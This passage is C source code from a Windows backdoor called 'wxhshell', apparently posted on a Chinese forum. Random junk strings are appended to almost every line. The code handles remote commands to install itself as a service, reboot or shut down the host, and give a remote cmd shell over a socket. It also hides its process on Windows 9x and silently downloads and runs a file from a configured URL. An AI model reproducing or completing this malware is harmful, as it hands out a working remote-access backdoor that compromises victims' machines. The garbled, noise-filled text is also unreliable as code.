    switch(cmd[0]) { ?<yq 2`\4O  
  peTO-x^a-  
  // 帮助 n"<GJ.{  
  case '?': { jQ_|z@OV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $G-N0LV  
    break; WP% {{zR$  
  } d0}%%T  
  // 安装 DvRA2(M  
  case 'i': { RqN_vk\  
    if(Install()) u5{5ts+:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kTi PZZI  
    else ]dGr1 ncu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kO,VayjT  
    break; wUIsi<Oj  
    } /VmCN]2AZ  
  // 卸载 H?=pWB  
  case 'r': { '[=yfh   
    if(Uninstall()) +.gf]|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sQ>B_Y!  
    else b!^M}s6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RZ<+AX9R  
    break; %+7T9>+  
    } LE0J ;|1  
  // 显示 wxhshell 所在路径 sx-Hw4.a"  
  case 'p': { I"F .%re  
    char svExeFile[MAX_PATH]; ><#2O  
    strcpy(svExeFile,"\n\r"); V$Xl^#tN  
      strcat(svExeFile,ExeFile); \\2k}TsB  
        send(wsh,svExeFile,strlen(svExeFile),0); {sna)v$;  
    break; y[^k*,= 9  
    } /50g3?X,  
  // 重启 Q0L@.`~  
  case 'b': { m>abK@5na  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7{K i;1B[w  
    if(Boot(REBOOT)) P"V{y|2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,. 6J6{  
    else { }W__ffH  
    closesocket(wsh); iKF$J3a\2f  
    ExitThread(0); I", &%0ycm  
    } [ n0##/  
    break; _@BRpLs:4  
    } * Y%<b86U  
  // 关机 O7'<I|aD  
  case 'd': { p29yaM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,{uW8L  
    if(Boot(SHUTDOWN)) 6HEqm>Yau  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t4jd KYA  
    else { j5,^9'  
    closesocket(wsh); dK J@{d  
    ExitThread(0); t> x-1vf%  
    } =$)4:  
    break; 6=G~6Qu  
    } 5M<' A=  
  // 获取shell OD?y  
  case 's': { l}Q"Nb)  
    CmdShell(wsh); O:5Rp_?^  
    closesocket(wsh); uXG`6|?  
    ExitThread(0); tL={y*  
    break; '#,e @v  
  } B0b[p*g Il  
  // 退出 (<bm4MPf  
  case 'x': { d%#!nq{vd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B.}_],  
    CloseIt(wsh); bVa+kYE  
    break; *]}CSZ[>  
    } {uaZ<4N.  
  // 离开 4GU/V\e|  
  case 'q': { eq@am(#&kY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }pl]9  
    closesocket(wsh); T}L^CU0  
    WSACleanup(); Ci7P%]9  
    exit(1); 7K>D@O  
    break; "EcX_>  
        } %1-K);S J  
  } e-CNQnO~  
  } X$7Oo^1;  
h&=O-5  
  // 提示信息 | ((1V^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T~i%j@Q.6  
} w24{_ N  
  } X(Y#9N"  
P"(z jG9-  
  return; [x2JFS#4  
} ^CZCZ,v  
d5@X#3Hd  
// shell模块句柄 ADv^eJJ|  
int CmdShell(SOCKET sock) GBH_r 0  
{ K3vseor  
STARTUPINFO si; v2 29H<  
ZeroMemory(&si,sizeof(si)); _ztZ> '  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,op]-CY 5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; up\oWR:  
PROCESS_INFORMATION ProcessInfo; GVmC }>z  
char cmdline[]="cmd"; 0bMoUy*q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fD1?z"lo  
  return 0; ]pW86L%  
} O1GDugZ  
~L- 0~  
// 自身启动模式 A}t%;V2  
int StartFromService(void) NFk}3w:  
{ )E'Fke  
typedef struct s kN9O"^A  
{ $> "J"IX  
  DWORD ExitStatus; k: b/Gq`  
  DWORD PebBaseAddress; S~KS9E~\  
  DWORD AffinityMask; a q3~!T;W  
  DWORD BasePriority; 3lo;^KX !  
  ULONG UniqueProcessId; z]^+^c_  
  ULONG InheritedFromUniqueProcessId; D Irgq|8  
}   PROCESS_BASIC_INFORMATION; 96(R'^kNX  
QBy{| sQ`  
PROCNTQSIP NtQueryInformationProcess; 2O eshkE  
K(<$.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8zhBA9Y#~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =43I1&_   
\HAJ\9*w)  
  HANDLE             hProcess; sX+`wc  
  PROCESS_BASIC_INFORMATION pbi; ;{|X,;s  
\|CPR6I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 10p8|9rE}B  
  if(NULL == hInst ) return 0; y n SBVb!)  
)uZoH 8?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zp?4uQ)[W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7ftR 4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,4[dLWU  
4&Byl85q  
  if (!NtQueryInformationProcess) return 0; otO j^xU  
qAoAUD m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'T\dkSJv;V  
  if(!hProcess) return 0; )2xE z  
{fZb@7?GF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cv}aS_`f  
<OTWT`G2  
  CloseHandle(hProcess); nqT>qS[Z  
RctU'T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |,b2b2v ?  
if(hProcess==NULL) return 0; XAe\s`  
MDJc[am  
HMODULE hMod; (8.{+8o  
char procName[255]; j~bAbOX12  
unsigned long cbNeeded; iOXZ ]Xj5  
L>dkrr)e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 74+A+SK[  
( S`6Q  
  CloseHandle(hProcess); zDD4m`2  
NUCiY\td  
if(strstr(procName,"services")) return 1; // 以服务启动 )l&D]3$6K  
#%:c0=  
  return 0; // 注册表启动 2-~|Z=eGW  
} F/>*If s  
nZfs=@w:y  
// 主模块 U@'F%nHw  
int StartWxhshell(LPSTR lpCmdLine) .2 0V 3  
{ &)n_]R#)  
  SOCKET wsl; \R(R9cry  
BOOL val=TRUE; w/W7N   
  int port=0; \<~}o I  
  struct sockaddr_in door; N2BI_,hI1  
#uSK#>H_!  
  if(wscfg.ws_autoins) Install(); .wmnnvtl,  
wd[eJcQ,  
port=atoi(lpCmdLine); a d9CsvW  
8$0\J_  
if(port<=0) port=wscfg.ws_port; wJe?t$ac?  
%Tv^GP{}  
  WSADATA data; gY(1,+0-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `0{ S3v  
5,1{Tv`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U&UKUACn"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 44\cI]!{  
  door.sin_family = AF_INET; /`[!_4i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5u r)uz]w8  
  door.sin_port = htons(port); UZGDdP  
}g|nz8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5{d\u E%'p  
closesocket(wsl); %d1draL  
return 1;  |t))u`~  
} ^rL_C}YBj-  
%y&]'A  
  if(listen(wsl,2) == INVALID_SOCKET) { <_Eg?ePW#  
closesocket(wsl);  %v+=;jw  
return 1; lwT9~Hyp  
} KVkMU?6  
  Wxhshell(wsl); PFM' & ;V  
  WSACleanup(); }XR : 2  
.m;G$X|3U  
return 0; pXu/(&?  
2#vv$YD  
} (u hd "  
Ql%qQ ZV  
// 以NT服务方式启动 n_Onr0EvO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c0_E_~  
{ V5mlJml2(  
DWORD   status = 0; e$e#NoN  
  DWORD   specificError = 0xfffffff; gd7^3q[$h  
hIYTe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }^-<k0A4?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8 Ti G3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DWU`\9xA*  
  serviceStatus.dwWin32ExitCode     = 0; ff e1lw%  
  serviceStatus.dwServiceSpecificExitCode = 0; fY,|o3#  
  serviceStatus.dwCheckPoint       = 0; >Kivuc  
  serviceStatus.dwWaitHint       = 0; D\1k.tI  
>\2:\wI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kL>d"w  
  if (hServiceStatusHandle==0) return; hePPxKQ-  
OtTBErQNF  
status = GetLastError(); 2;$ k(x]  
  if (status!=NO_ERROR) )JD(`  
{ ;`dh fcU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WG u%7e]  
    serviceStatus.dwCheckPoint       = 0; V0*3;n  
    serviceStatus.dwWaitHint       = 0; c~=B0K-  
    serviceStatus.dwWin32ExitCode     = status; =JS;;PzX[  
    serviceStatus.dwServiceSpecificExitCode = specificError; y "w|g~x]c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nV*y`.+  
    return; 9Q;c ,]  
  } .]x2K-Sf  
 d$W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -%CoWcGP  
  serviceStatus.dwCheckPoint       = 0; (:pq77  
  serviceStatus.dwWaitHint       = 0; 5fJ[}~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4)6xU4eBaL  
} K_/zuTy  
EW<kI+0D  
// 处理NT服务事件,比如:启动、停止 ObG|o1b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (`BSVxJH  
{ Q`%R[#  
switch(fdwControl) lrWQOYf2  
{ FV39QG4b4  
case SERVICE_CONTROL_STOP: 4|?{VQ  
  serviceStatus.dwWin32ExitCode = 0; BvD5SBa}"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tV;`fV   
  serviceStatus.dwCheckPoint   = 0; Y&HK1>M_  
  serviceStatus.dwWaitHint     = 0; o%E;3l  
  { uI~S=;o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N8r*dadDd  
  } \x{;U#B[3>  
  return; l_rn++  
case SERVICE_CONTROL_PAUSE: Z8#Gwyinx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #R0A= !  
  break; Sh6JF574T  
case SERVICE_CONTROL_CONTINUE: FR[ B v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8.J( r(;>  
  break; bx4'en#  
case SERVICE_CONTROL_INTERROGATE: R6-n IY,  
  break; >EsziRm  
}; MPgS!V1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yc r3HLJy  
} {c?JuV4q?  
lbdTQ6R  
// 标准应用程序主函数 +!IQj0&'Y3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @Ky> 9m{  
{ '*^yAlgtt  
/iC;%r1L  
// 获取操作系统版本 v1JS~uDz  
OsIsNt=GetOsVer(); 7dG 79H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *OJ/V O  
-|k)tvAm  
  // 从命令行安装 LQ11ba  
  if(strpbrk(lpCmdLine,"iI")) Install(); m([(:.X/IX  
l>gI&1)%  
  // 下载执行文件 6lwta`2  
if(wscfg.ws_downexe) { ]uj=:@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &3F}6W6A  
  WinExec(wscfg.ws_filenam,SW_HIDE); OO dSKf8  
} L4u;|-znw  
aNn"X y\ k  
if(!OsIsNt) { KlV:L 4a~  
// 如果时win9x,隐藏进程并且设置为注册表启动 C?ib_K*  
HideProc(); 1"7Sy3  
StartWxhshell(lpCmdLine); xkNyvqcw  
} Rlnbdb;!k  
else 1OLqL  
  if(StartFromService()) kE8>dmH23  
  // 以服务方式启动 Wz4&7KYY  
  StartServiceCtrlDispatcher(DispatchTable); zya5Jb:Sg  
else \Ng\B.IQ  
  // 普通方式启动 \<Sv3xy&O  
  StartWxhshell(lpCmdLine); YJg,B\z}  
0~wF3BgV  
return 0; 9SlNq05G7  
}
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只看该作者 1 发表于: 2006-10-10
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